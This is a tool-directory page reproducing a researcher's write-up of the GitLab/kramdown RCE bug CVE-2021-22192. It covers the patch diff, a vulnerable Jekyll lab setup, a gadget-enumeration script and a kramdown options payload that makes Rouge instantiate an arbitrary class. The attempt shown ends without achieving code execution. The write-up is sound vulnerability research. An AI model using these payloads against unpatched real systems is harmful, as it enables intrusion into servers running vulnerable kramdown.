Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Gitlab-RCE — CVE-2021-22192 | Kitploit
Tools/GitHubGitHub/petrusviet/gitlab-rce
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHubpetrusviet/gitlab-rce

Gitlab-RCE

CVE-2021-22192

View Repository
123115 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Analysis of RCE vulnerability on Gitlab (CVE-2021–22192)

I) Building

  • This bug occurs on GitLab Community Edition (CE) and Enterprise Edition (EE) in versions (>=13.2, <13.7.9), (>=13.8, <13.8.6) and (>=13.9, <13.9.4)
  • You can follow the instructions of lyy289065406 to set up the environment.

II) Analysis

When I started to analyze this bug. I only had some valuable information from lyy289065406 that helped me understand the core issue in this bug. It seems that the bug is in the kramdown gem (<= 2.3.0), so I began to look into kramdown first.

1. Kramdown

We can check the kramdown patch, and we see the difference in the formatter_class function at module Kramdown::Converter::SyntaxHighlighter::Rouge

::Rouge::Formatters.const_get(formatter) changed to ::Rouge::Formatters.const_get(formatter, false)

The const_get function is inherited from the Object class; it can retrieve constants. It can even return classes that were previously declared and findable. The difference here is just adding a parameter false. Adding the false parameter makes const_get unable to get constants from the parent class or modules. What's more special: in the self.call function, formatter_class is called, then new(opts) is called. That means the method obtained via const_get will have its Constructor called to initialize.

def self.call(converter, text, lang, type, call_opts)
      opts = options(converter, type)
      call_opts[:default_lang] = opts[:default_lang]
      return nil unless lang || opts[:default_lang] || opts[:guess_lang]

      lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
      return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])

      opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
      formatter = formatter_class(opts).new(opts)
      formatter.format(lexer.lex(text))
    end

Wow, wow. So how can we Exploit???

Based on Kramdown:Options we can call the function Kramdown::Converter::SyntaxHighlighter::Rouge.call

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

Furthermore, we also see that at module Kramdown:Options, the function simple_hash_validator calls YAML.safe_load(val). Thus, we can also configure the YML file to supply the desired payload to Kramdown::Converter::SyntaxHighlighter::Rouge

def self.simple_hash_validator(val, name)
      if String === val
        begin
          val = YAML.safe_load(val)
        rescue RuntimeError, ArgumentError, SyntaxError
          raise Kramdown::Error, "Invalid YAML value for option #{name}"
        end
      end
      raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
      val
    end
  • Kramdown is used by Jekyll, GitLab Pages, GitHub Pages, and Thredd Forum. So I decided to try it with Jekyll first.

2. Jekyll

First, I need to set up Jekyll:

  • Install Jekyll
gem install jekyll
  • Create a Jekyll page named jekyllTest
jekyll new jekyllTest
  • Edit the Gemfile.lock file to downgrade kramdown version to <= 2.3.0
cd jekyllTest

File Gemfile.lock


...
kramdown (2.3.0)
...

  • Install the page
 bundle install

Thus, we have completed creating a Jekyll page. Now we can inject the payload to see if Kramdown::Converter::SyntaxHighlighter::Rouge.call actually calls a method.

We can add to the file ./_config.yml

kramdown:
  syntax_highlighter: rouge
  syntax_highlighter_opts:
    formatter: CSV

Or use the kramdown Document by adding the payload to ./_posts/*.markdown

{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~

Here I'll use the second method =)))))

  • Deploy the Jekyll page
bundle exec jekyll serve

You might encounter the error "require': cannot load such file -- webrick (LoadError)" – you need to add gem "webrick"` to the Gemfile

  • We see the error message private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep: This proves that the CSV class was called.

The next step is to determine which method to choose so that calling the constructor leads to RCE?

According to a analysis article CVE-2020-10518 that uses a bug in kramdown to cause RCE on Github. I target the Hoosegow class:

  • In the initialize function of Hoosegow, it calls load_inmate_methods
def initialize(options = {})
    options         = options.dup
    @no_proxy       = options.delete(:no_proxy)
    @inmate_dir     = options.delete(:inmate_dir) || '/hoosegow/inmate'
    @image_name     = options.delete(:image_name)
    @ruby_version   = options.delete(:ruby_version) || RUBY_VERSION
    @docker_options = options
    load_inmate_methods
  • In load_inmate_methods, we see it calls require inmate_file
 def load_inmate_methods
    inmate_file = File.join @inmate_dir, 'inmate.rb'

    unless File.exist?(inmate_file)
      raise Hoosegow::InmateImportError, "inmate file doesn't exist"
    end

    require inmate_file

    unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
      raise Hoosegow::InmateImportError,
        "inmate file doesn't define Hoosegow::Inmate"
    end

    if no_proxy?
      self.extend Hoosegow::Inmate
    else
      inmate_methods = Hoosegow::Inmate.instance_methods
      inmate_methods.each do |name|
        define_singleton_method name do |*args, &block|
          proxy_send name, args, &block
        end
      end
    end
  end
  • And inmate_file is created by concatenating @inmate_dir with 'inmate.rb'. If we can call this class and change the inmate_dir parameter to the path of our payload file, wouldn't that lead to RCE?

  • I ran a script in the Jekyll page path to check the defined methods:

require "bundler"
Bundler.require

methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
 
methods.each do |m|
  begin
    puts "trying #{m[:ob]}"
    m[:ob].new({a:1, b:2})
    puts "worked\n\n"
  rescue ArgumentError
      puts "nope\n\n"
  rescue NoMethodError
      puts "nope\n\n"
  rescue => e
      p e
      puts "maybe\n\n"
  end
  • Unfortunately, there was no class named Hoosegow, even when I avoided the script crashing midway by using the condition ob.name == "Hoosegow"
require "bundler"
Bundler.require
  
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow"  }

...
  • It turned out that the Hoosegow class was not declared in my class path; I added gem "hoosegow" to the Gemfile and the script found this class. [Hehehe]
  • Next, try calling Hoosegow via kramdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}

~~~ ruby
def what?
  42
end
~~~
  • Boom. Nothing happened, the Hoosegow class was still not called. =)))))))))
Download Tool